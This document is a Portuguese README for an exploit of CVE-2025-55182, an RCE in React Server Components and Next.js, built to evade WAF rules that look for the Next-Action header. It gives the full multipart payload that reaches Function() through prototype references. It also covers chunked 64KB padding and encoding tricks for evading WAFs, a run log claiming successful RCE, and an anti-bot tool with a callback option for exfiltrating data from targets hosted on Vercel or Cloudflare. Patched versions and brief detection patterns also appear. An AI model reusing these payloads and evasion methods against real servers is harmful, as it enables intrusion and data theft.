
Bypass de cabeçalho para CVE-2025-55182 (React Server Components RCE).
Bypass do cabeçalho Next-Action para CVE-2025-55182. Realiza RCE no React RSC sem cabeçalhos distintivos, evadindo regras de WAF.
O cabeçalho Next-Action NÃO é necessário para a exploração.
| Vetor de Ataque | Cabeçalho Next-Action | Detecção de WAF |
|---|---|---|
| CVE Original | Necessário | Detectável |
| Este Bypass | Não Necessário | Evasão de regras de cabeçalho |
┌─────────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT ORIGINAL (com cabeçalho) │
├─────────────────────────────────────────────────────────────────────────────┤
│ POST / HTTP/1.1 │
│ Next-Action: <action-id> ← Cabeçalho necessário │
│ Content-Type: multipart/form-data │
│ │
│ isFetchAction = true → decodeReply() → Chunk.prototype.then() → RCE │
└─────────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────────┐
│ BYPASS DE CABEÇALHO (sem cabeçalho) │
├─────────────────────────────────────────────────────────────────────────────┤
│ POST / HTTP/1.1 │
│ Content-Type: multipart/form-data ← NENHUM cabeçalho Next-Action! │
│ │
│ isMultipartAction = true → decodeAction() → loadServerReference() │
│ → Promise.all([bound]) → bound.then() → RCE │
└─────────────────────────────────────────────────────────────────────────────┘
const isServerAction = isFetchAction || isURLEncodedAction || isMultipartAction;
if (isMultipartAction && !isFetchAction) {
const action = await decodeAction(formData, serverModuleMap); // CAMINHO DO BYPASS
await action(); // RCE
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ Passo 1: Extrair o ID da Ação │
│ GET / → Extrair de inputs ocultos: <input name="$ACTION_ID_<40-hex>"/> │
└─────────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ Passo 2: Enviar Exploit (SEM cabeçalho Next-Action) │
│ POST / HTTP/1.1 │
│ Content-Type: multipart/form-data; boundary=x │
│ │
│ $ACTION_REF_0: x │
│ $ACTION_0:0: {"id":"<ACTION_ID>","bound":"$@1"} │
│ $ACTION_0:1: <payload do exploit> │
│ $ACTION_0:2: "$@1" │
│ $ACTION_0:3: [] │
└─────────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ Passo 3: Execução da Cadeia Thenable │
│ │
│ bound: "$@1" → Chunk(1) │
│ → Promise.all([bound]) chama bound.then() │
│ → then: "$2:__proto__:then" → Chunk.prototype.then() │
│ → initializeModelChunk() → handler "$B1337" │
│ → _formData.get = "$2:constructor:constructor" → Function │
│ → Function(RCE_CODE) → Execução de Código │
└─────────────────────────────────────────────────────────────────────────────┘
❯ node test-bypass-2step.cjs
============================================================
CVE-2025-55182 Header Bypass - Exploit em 2 Etapas
============================================================
Alvo: http://localhost:3000/
[Passo 1] Buscando página para extrair IDs de ação...
✓ Compilado / em 1105ms (523 módulos)
[+] Encontrado 1 ID de ação:
c1cfa77a4481950d44c534f3a8174689deaefe80
[Passo 2] Enviando payload do exploit (SEM cabeçalho Next-Action)...
------------------------------------------------------------
CABEÇALHOS DA REQUISIÇÃO:
------------------------------------------------------------
POST / HTTP/1.1
Host: localhost:3000
Content-Type: multipart/form-data; boundary=----FormBoundary1765143043445
(SEM cabeçalho Next-Action!)
------------------------------------------------------------
CORPO DA REQUISIÇÃO (formulário multipart):
------------------------------------------------------------
$ACTION_REF_0: x
$ACTION_0:0 (metadados): {"id":"c1cfa77a4481950d44c534f3a8174689deaefe80","bound":"$@1"}
$ACTION_0:1 (exploit): {"then":"$2:__proto__:then","status":"resolved_model",...}
$ACTION_0:2 (circular): "$@1"
$ACTION_0:3 (vazio): []
============================================================
*** RCE BEM-SUCEDIDO! ***
============================================================
Prova: RCE EM 2 ETAPAS BEM-SUCEDIDO 1765143043451
// $ACTION_0:0 - Metadados da ação
{"id": "<40-char-action-id>", "bound": "$@1"}
// $ACTION_0:1 - Objeto do exploit
{
"then": "$2:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<RCE_CODE>//",
"_chunks": "$Q3",
"_formData": {"get": "$2:constructor:constructor"}
}
}
// $ACTION_0:2 - Referência circular
"$@1"
// $ACTION_0:3 - Array vazio para Map
[]
POST / HTTP/1.1
Transfer-Encoding: chunked
10200 ← Padding de 64KB
--x
Content-Disposition: form-data; name="data"
AAAA... (64KB)
--x
Content-Disposition: form-data; name="$ACTION_REF_0"
...
0
| Pacote | Vulnerável | Corrigido |
|---|---|---|
| react-server-dom-webpack | 19.0.0 - 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x | 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+ |
npm install
npm run build && npm run start
# Executar exploit
node test-chunked-v14.cjs # Para teste de WAF AWS
node test-bypass-2step.cjs # Automatizado em 2 etapas
# Verificar
cat /tmp/2STEP-RCE.txt
Para alvos com desafios JS (Vercel, Cloudflare), use o exploit baseado em Puppeteer:
node antibot.cjs [opções]
Opções:
-t, --target <host> Nome do host alvo
-p, --port <porta> Porta alvo
-c, --callback <url> URL de callback para exfiltração de dados
--http Usar HTTP em vez de HTTPS
--https Usar HTTPS (padrão)
-h, --help Mostrar ajuda
Exemplos:
node antibot.cjs -t example.vercel.app
node antibot.cjs -t localhost -p 3000 --http
node antibot.cjs -t target.com -c https://callback.example.com/exfil
O patch é a única correção confiável.
$ACTION_REF_ no corpo (decodificar URL primeiro)$ACTION_[^:]+:| Técnica | Método | Testado |
|---|
| Padding em chunks | Padding de 64KB+ esgota buffers do WAF | ✓ RCE |
| Escapes Unicode | \u0074\u0068\u0065\u006e para then | ✓ |
| Nomes codificados em URL | %24ACTION_REF_0 | ✓ |
| Índices de variáveis | $ACTION_REF_abc, $ACTION_XyZ:0 | ✓ RCE |